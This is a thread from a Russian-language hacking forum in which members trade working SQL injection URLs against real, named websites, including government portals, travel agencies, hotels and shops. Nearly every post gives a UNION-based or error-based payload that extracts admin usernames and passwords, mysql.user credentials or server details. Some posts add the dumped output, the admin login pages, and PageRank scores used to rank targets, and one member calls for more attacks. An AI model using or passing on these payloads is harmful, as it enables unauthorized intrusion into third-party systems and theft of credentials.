SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.upperuwchlan-pa.gov/newsfull.php?id=-110+union+select+1,group_concat(0x0b,id,0x3a,username,0x3a,password),3,4,5,6,7,8+from+admin+--
    PR 4
    panel:
    Code:
    http://www.upperuwchlan-pa.gov/cpanel/
     
    4 people like this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.sitsantacruz.gov.ar

    http://www.sitsantacruz.gov.ar/iniciog.php?opcion=bb01-01&id=-7+union+select+1,2,group_concat(user,char(58),pass1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+subse_seguridad.usuarios
     
    _________________________
    2 people like this.
  3. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    PR 5
    Code:
    http://www.socialistreview.org.uk/article.php?articlenumber=-11176+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,name,password),14,15,16,17,18,19,20,22+from+auth+limit+5,1
    
     
    #12703 .:[melkiy]:., 20 Aug 2010
    Last edited: 20 Aug 2010
    3 people like this.
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    :( http://www.ezhouinvest.gov.cn

    http://www.ezhouinvest.gov.cn/webezzs/info.php?rid=-337+union+select+1,2,3,4,5,group_concat(LoginName,char(58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+ezzs_admin_user

    http://www.ezhouinvest.gov.cn/webezzs/admin
     
    _________________________
    2 people like this.
  5. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    http://www.partner.dn.ua/p.php?n=-64+union+select+1,concat_ws(user(),version()%20,database()),3,4+--+
    user [email protected]
    version 5.0.91
    database uh105674_bot
    тиц 325 Яндекс Rank 4/6 Google PageRank 2/10
     
    #12705 KNOT, 20 Aug 2010
    Last edited by a moderator: 20 Aug 2010
  6. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Ну давайте продолжать бомбить турагенства, и социальные сети!

    Vostok Travel! PageRank 2

    PR 6

    PR 4

    PR 3
     
    #12706 -PRIVAT-, 20 Aug 2010
    Last edited: 20 Aug 2010
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    туристическая компания CITTOURS

    http://cittours.ca/tour.php?id=-76+union+select+1,2,3,4,5,concat(host,char(58),user,char(58),password),7,8+from+mysql.user&info=hotels
     
    _________________________
  8. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.hotel.is/hotel.php?id=-116+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--
    тиц-10
    pr-4

    не турфирма,но тоже не плохо, отель какой-то =)
     
    3 people like this.
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://russianagent.com/showTour.php?tour=26+and+1=0+union+select+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+information_schema.tables+where+table_schema=database()
     
    _________________________
  10. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    Code:
    http://www.govtube.ps/slider.php?cat=1+and+1=0+Union%20Select+1,2,3,concat_ws%280x3a,username,email,level%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+users--+
    gcctube:[email protected]:Admin
    Code:
    http://www.govtube.ps/admin_area/login.php
    PR:5
     
    1 person likes this.
  11. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.edwar.ru/section.php?id=-35+UnIon+selECt+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables--+
    ТИЦ: 30
    PR: 4
     
  12. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://abrionline.org/player.php?id=-58+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)%20%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--
    PR-5

    Code:
    http://www.lycheetube.com/videos/player.php?id=-938021+union+select+1,table_name,3,4,5,6+from+information_schema.tables%20--
    гнуха


    Code:
    http://www.annaghunited.co.uk/player.php?id=-13+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12--
    какой-то футбольный клуб
    PR 2

    Code:
    http://www.fulltubemovies.com/videos/player.php?id=-52575+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6--&from=c
    опять гнуха
     
    #12712 Lilo, 20 Aug 2010
    Last edited: 20 Aug 2010
    2 people like this.
  13. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    шоп
    Code:
    http://www.spoonsports.co.uk/product.php?make=HONDA&model=&type=&level1=EXTERIOR+STYLING&level2=&level3=&id=-2990+union+select+1,2,count(*),4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10+from+information_schema.tables
    
     
    1 person likes this.
  14. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    на чем мы там на турагенствах остановились? ОК

    тИЦ — 230
    PR — 4

    Code:
    http://www.amigo-tours.ru/czechia_ru/firms/index.html?id=-56+union+select+1,concat_ws(0x3a,version(),user(),database())+--+
    Code:
    http://www.flatart.ru/base.php?id=-12+union+select+1,2,3,user()+--+
    P.S. Вашу игру с доменами в зоне gov я не буду поддерживать :D извиняйте
     
    #12714 Kusto, 20 Aug 2010
    Last edited: 20 Aug 2010
    2 people like this.
  15. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    Тур агентство и что то похожее..

    Code:
    http://www.trevelone.ru/hotel.php?id=367+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,username,0x3a,password)+from+lore_users+limit+0,1),1,64),floor(rand(0)*2)))--
     
    #12715 tracy, 20 Aug 2010
    Last edited: 20 Aug 2010
  16. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.belarus-tour.com/lib/detail.php?cat=1&rub=2&id=-2847+union+select+1,2,3,4,group_concat(username,char(58),passwd),6,7,8,9,10,11,12,13,14+from+bank_user
     
    _________________________
    1 person likes this.
  17. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Новейшие научные технологии в медицине

    Веллнесс трейдинг

    http://www.wellnesstrading.ru/content.php?id=2&cid=-20+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4,5+--

    version : Debian_7etch12
    user : vellness@localhost
    database : vls_bs
    os : pc-linux-gnu
     
    1 person likes this.
  18. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    PR 4 ТИЦ 10

    PR 3 ТИЦ 10

    PR 1

    PR 8 ТИЦ 50

    PR 8 ТИЦ 10

    PR 6

    PR 6 ТИЦ 20
     
    #12718 -PRIVAT-, 20 Aug 2010
    Last edited: 20 Aug 2010
    6 people like this.
  19. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    домен китайский но на нем какойто арабский сайт- думаю по нашей тематике :D - путешествий и туров

    Code:
    http://www.uqur.cn/tur.php?tur=9+and+1=0+union+select+1,concat_ws%280x3a,ner_name,ner_pass%29+from+ner_admin+--+
     
    #12719 Kusto, 21 Aug 2010
    Last edited: 21 Aug 2010
    2 people like this.
  20. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.audioport.eu/index.php?productID=1765'or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,U_ID,u_password)+from+WBS_USER+limit+1,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
Thread Status:
Not open for further replies.